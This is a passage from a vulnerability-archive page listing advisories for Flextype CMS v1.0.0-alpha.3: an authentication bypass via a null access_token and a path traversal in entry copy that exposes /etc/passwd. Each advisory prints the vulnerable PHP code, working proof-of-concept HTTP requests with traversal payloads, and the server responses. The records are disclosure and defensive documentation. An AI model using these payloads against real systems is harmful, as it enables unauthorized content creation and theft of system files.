GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

387 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0181

Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass
Summary
Description Flextype CMS v1.0.0-alpha.3 contains an authentication validation vulnerability in the API request-processing functionality. API endpoints may declare access_token as a required parameter, but the required-parameter validation only verifies that the corresponding key exists in the supplied request data. Authentication verification is subsequently performed inside an isset($data ['access_token']) condition. In PHP, isset() returns false when a key exists but its value is null. An attacker can therefore supply "access_token": null, satisfying the required-parameter existence check while causing the subsequent access-token verification logic to be skipped. Testing confirmed that a protected Entries API operation accepted an access_token value of null and successfully created an entry. Impact An remote attacker can bypass the access_token authentication requirement for affected API endpoints. The resulting impact depends on the functionality exposed by the affected endpoint. Where the bypass provides access to entry creation, modification, query, or other privileged API functionality, it may also remove the authentication prerequisite from vulnerabilities reachable through those endpoints. The public API token requirement should be considered separately from the bypassed access_token security control. DetailsRequired Parameter Validation Flextype combines query and request-body parameters and verifies required parameters by checking only whether the required key occurs within the resulting array: $data = array_merge($queryData, $bodyData); $dataTest = true; foreach ($options['params'] as $key => $value) { if (in_array($value, array_keys($data))) { continue; } $dataTest = false; } Consequently, a request containing: { "access_token": null } satisfies the parameter-presence requirement because the access_token key exists. Authentication Verification Access-token validation is subsequently conditional upon PHP's isset(): if (isset($data['access_token'])) { if (! isset($tokenData['hashed_access_token'])) { return $this->getStatusCodeMessage(401); } if (! verifyTokenHash($data['access_token'], $tokenData['hashed_access_token'])) { return $this->getStatusCodeMessage(401); } } For a PHP array containing an access_token key whose value is null: isset($data['access_token']) evaluates to false. The authentication verification block is therefore skipped. Proof of Concept The following request supplies the required access_token parameter with a JSON null value: POST /api/v1/entries HTTP/1.1 Host: 127.0.0.1:18086 Content-Type: application/json {"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}} Flextype accepted the request: HTTP/1.1 200 OK Host: 127.0.0.1:18086 Content-Type: application/json;charset=UTF-8 {"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"} The successful creation of auth-null-proof demonstrates that supplying a null access token bypasses the access-token verification performed by the API authentication logic. Root Cause The vulnerability results from inconsistent validation of required parameters. The first validation considers a parameter present when its key exists: in_array($value, array_keys($data)) while authentication is conditional upon: isset($data['access_token']) These operations have different behavior for null values. A JSON value of: "access_token": null therefore satisfies the first condition while preventing execution of the second. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits
Relationships
analysis GCVE-1988-2026-0181 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n    if (in_array($value, array_keys($data))) {\n        continue;\n    }\n\n    $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n    \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n    if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n        return $this-\u003egetStatusCodeMessage(401);\n    }\n\n    if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n        return $this-\u003egetStatusCodeMessage(401);\n    }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:57Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/23"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-77939",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0181",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
            "automated": true,
            "contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:50:46Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0181"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:25:42Z",
    "dateUpdated": "2026-09-09T13:03:57Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0181"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0011

Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass
Summary
Description Flextype CMS v1.0.0-alpha.3 contains an authentication validation vulnerability in the API request-processing functionality. API endpoints may declare access_token as a required parameter, but the required-parameter validation only verifies that the corresponding key exists in the supplied request data. Authentication verification is subsequently performed inside an isset($data ['access_token']) condition. In PHP, isset() returns false when a key exists but its value is null. An attacker can therefore supply "access_token": null, satisfying the required-parameter existence check while causing the subsequent access-token verification logic to be skipped. Testing confirmed that a protected Entries API operation accepted an access_token value of null and successfully created an entry. Impact An remote attacker can bypass the access_token authentication requirement for affected API endpoints. The resulting impact depends on the functionality exposed by the affected endpoint. Where the bypass provides access to entry creation, modification, query, or other privileged API functionality, it may also remove the authentication prerequisite from vulnerabilities reachable through those endpoints. The public API token requirement should be considered separately from the bypassed access_token security control. DetailsRequired Parameter Validation Flextype combines query and request-body parameters and verifies required parameters by checking only whether the required key occurs within the resulting array: $data = array_merge($queryData, $bodyData); $dataTest = true; foreach ($options['params'] as $key => $value) { if (in_array($value, array_keys($data))) { continue; } $dataTest = false; } Consequently, a request containing: { "access_token": null } satisfies the parameter-presence requirement because the access_token key exists. Authentication Verification Access-token validation is subsequently conditional upon PHP's isset(): if (isset($data['access_token'])) { if (! isset($tokenData['hashed_access_token'])) { return $this->getStatusCodeMessage(401); } if (! verifyTokenHash($data['access_token'], $tokenData['hashed_access_token'])) { return $this->getStatusCodeMessage(401); } } For a PHP array containing an access_token key whose value is null: isset($data['access_token']) evaluates to false. The authentication verification block is therefore skipped. Proof of Concept The following request supplies the required access_token parameter with a JSON null value: POST /api/v1/entries HTTP/1.1 Host: 127.0.0.1:18086 Content-Type: application/json {"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}} Flextype accepted the request: HTTP/1.1 200 OK Host: 127.0.0.1:18086 Content-Type: application/json;charset=UTF-8 {"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"} The successful creation of auth-null-proof demonstrates that supplying a null access token bypasses the access-token verification performed by the API authentication logic. Root Cause The vulnerability results from inconsistent validation of required parameters. The first validation considers a parameter present when its key exists: in_array($value, array_keys($data)) while authentication is conditional upon: isset($data['access_token']) These operations have different behavior for null values. A JSON value of: "access_token": null therefore satisfies the first condition while preventing execution of the second. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n    if (in_array($value, array_keys($data))) {\n        continue;\n    }\n\n    $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n    \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n    if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n        return $this-\u003egetStatusCodeMessage(401);\n    }\n\n    if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n        return $this-\u003egetStatusCodeMessage(401);\n    }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:03:57Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/23"
        },
        {
          "url": "https://github.com/ob1sec"
        },
        {
          "url": "https://linkedin.com/in/yourhandle"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.linkedin.com/in/ronedgerson1"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/23"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0011",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
            "automated": true,
            "contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-31T02:50:46Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T06:42:13Z",
    "dateUpdated": "2026-09-09T13:03:57Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0011"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0180

Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the Entries copy functionality. An authenticated remote attacker can supply directory traversal sequences within both the source id and destination new_id parameters submitted to /api/v1/entries/copy. Flextype constructs entry directory paths by directly concatenating the supplied entry identifier with the configured entries directory without sufficiently canonicalizing the resulting path or verifying that it remains within the intended project/entries directory. As a result, an attacker can escape the configured entries directory for both the source and destination of a copy operation. Testing confirmed that a source identifier containing ../../../etc resolved to the system /etc directory and that a destination identifier containing ../../etc-copy caused the directory to be copied outside project/entries to /app/etc-copy. The copied /etc/passwd file was subsequently accessible over HTTP from /etc-copy/passwd, resulting in disclosure of operating-system files that were not intended to be exposed by the web application. Impact Successful exploitation allows an authenticated remote attacker to escape the Flextype entries directory and use filesystem directories outside the intended content storage location as the source or destination of entry copy operations. Testing demonstrated that the vulnerability can copy operating-system files from /etc into a web-accessible location under the application root. This resulted in remote disclosure of /etc/passwd. Depending on filesystem permissions, application deployment layout, and web-server configuration, the vulnerability may allow disclosure of sensitive application and operating-system files by copying otherwise inaccessible directories into web-accessible locations. The destination traversal also provides a filesystem write/copy primitive outside the intended project/entries security boundary. This primitive may increase the impact of other vulnerabilities when chained with functionality capable of interpreting or executing attacker-controlled files. DetailsVulnerable Entry Copy Implementation The Flextype copy() method receives the existing entry identifier and new entry identifier and eventually passes both values to getDirectoryLocation() : public function copy(string $id, string $newID): bool { // Collections validation helper. // Check if collections are identical. $isValidCollections = function ($id, $newID) { $collectionForCurrentEntry = $this->getCollectionOptions($id); $collectionForNewEntry = $this->getCollectionOptions($newID); $result = true; if (! isset($collectionForCurrentEntry['filename']) || ! isset($collectionForCurrentEntry['extension']) || ! isset($collectionForCurrentEntry['serializer']) || ! isset($collectionForNewEntry['filename']) || ! isset($collectionForNewEntry['extension']) || ! isset($collectionForNewEntry['serializer'])) { $result = false; } if (($collectionForCurrentEntry['filename'] != $collectionForNewEntry['filename']) || ($collectionForCurrentEntry['extension'] != $collectionForNewEntry['extension']) || ($collectionForCurrentEntry['serializer'] != $collectionForNewEntry['serializer'])) { $result = false; } return $result; }; if (! $isValidCollections($id, $newID)) { return false; } $this->registry()->set('methods.copy', [ 'collection' => $this->getCollectionOptions($id), 'params' => [ 'id' => $id, 'newID' => $newID, ], 'result' => null, ]); emitter()->emit('onEntriesCopy'); if (! is_null($this->registry()->get('methods.copy.result')) && is_bool($this->registry()->get('methods.copy.result'))) { return $this->registry()->get('methods.copy.result'); } return filesystem() ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id'))) ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID'))); } The getDirectoryLocation() method constructs the filesystem path using the supplied identifier: public function getDirectoryLocation(string $id): string { $this->registry()->set('methods.getDirectoryLocation', [ 'collection' => $this->getCollectionOptions($id), 'params' => [ 'id' => $id, ], 'result' => null, ]); emitter()->emit('onEntriesGetDirectoryLocation'); if (! is_null($this->registry()->get('methods.getDirectoryLocation.result')) && is_string($this->registry()->get('methods.getDirectoryLocation.result'))) { return $this->registry()->get('methods.getDirectoryLocation.result'); } return FLEXTYPE_PATH_PROJECT . '/' . $this->options['directory'] . '/' . $this->registry()->get('methods.getDirectoryLocation.params.id'); } The supplied identifier is appended directly to: FLEXTYPE_PATH_PROJECT/<entries-directory>/ without enforcing that the canonicalized resulting path remains beneath the intended entries directory. Consequently, traversal sequences within an entry identifier can escape the expected directory. Proof of Concept — Escape Source and Destination Directories The following request supplies traversal sequences for both the source and destination identifiers: PUT /api/v1/entries/copy HTTP/1.1 Host: 127.0.0.1:18080 Content-Type: application/json {"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"} Given an entries directory rooted at: /app/project/entries the source: ../../../etc escapes the entries directory and resolves to: /etc The destination: ../../etc-copy similarly escapes the entries directory and resolves to: /app/etc-copy The HTTP endpoint returned: HTTP/1.1 404 Not Found Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 02:17:02 GMT Connection: close X-Powered-By: PHP/8.1.34 Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: application/json;charset=UTF-8 Content-Length: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept, Origin, Authorization Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS Access-Control-Allow-Expose: Access-Control-Allow-Credentials: false Despite the HTTP 404 response, filesystem inspection confirmed that the copy operation occurred. Proof of Concept — Filesystem Evidence Following the request, /etc/passwd existed beneath the attacker-selected escaped destination: realpath: /app/etc-copy/passwd --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin --snip-- The resulting path: /app/etc-copy/passwd is outside the intended: /app/project/entries directory. This demonstrates that the traversal sequences affected the underlying filesystem operation despite the API returning HTTP 404. Proof of Concept — Remote File Disclosure The copied file could subsequently be retrieved directly through the web server: GET /etc-copy/passwd HTTP/1.1 Host: 127.0.0.1:18080 The application returned the copied operating-system file: HTTP/1.1 200 OK Host: 127.0.0.1:18080 Date: Mon, 31 Aug 2026 02:17:02 GMT Connection: close Content-Length: 839 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin --snip-- Root Cause The root cause is insufficient validation and canonicalization of entry identifiers before they are incorporated into filesystem paths. The vulnerable path construction is: return FLEXTYPE_PATH_PROJECT . '/' . $this->options['directory'] . '/' . $this->registry()->get('methods.getDirectoryLocation.params.id'); The resulting path is then used directly by the copy operation: return filesystem() ->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id'))) ->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID'))); Neither the source nor destination is shown being canonicalized and checked to ensure it remains beneath the configured entries directory before the filesystem copy operation occurs. This allows ../ path components supplied through the entry identifiers to escape the intended filesystem boundary. Ron Edgerson Vulnerability Researcher & Exploit Developer CVE Research | Binary Exploitation | Application & Systems Security Responsible Disclosure • Proof-of-Concept Development 🌐 https://github.com/ob1sec 🔗 https://www.linkedin.com/in/ronedgerson1 <https://linkedin.com/in/yourhandle> _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Impacted products
Vendor Product Version
Flextype Flextype Affected: unknown
Create a notification for this product.
Credits
Relationships
analysis GCVE-1988-2026-0180 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Flextype",
          "vendor": "Flextype",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n    // Collections validation helper.\n    // Check if collections are identical.\n    $isValidCollections = function ($id, $newID) {\n        $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n        $collectionForNewEntry     = $this-\u003egetCollectionOptions($newID);\n\n        $result = true;\n\n        if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n            ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n            ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n            ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n            $result = false;\n        }\n\n        return $result;\n    };\n\n    if (! $isValidCollections($id, $newID)) {\n        return false;\n    }\n\n    $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n        \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n        \u0027params\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $id,\n            \u0027newID\u0027 =\u003e $newID,\n        ],\n        \u0027result\u0027 =\u003e null,\n    ]);\n\n    emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n    if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n        is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n        return 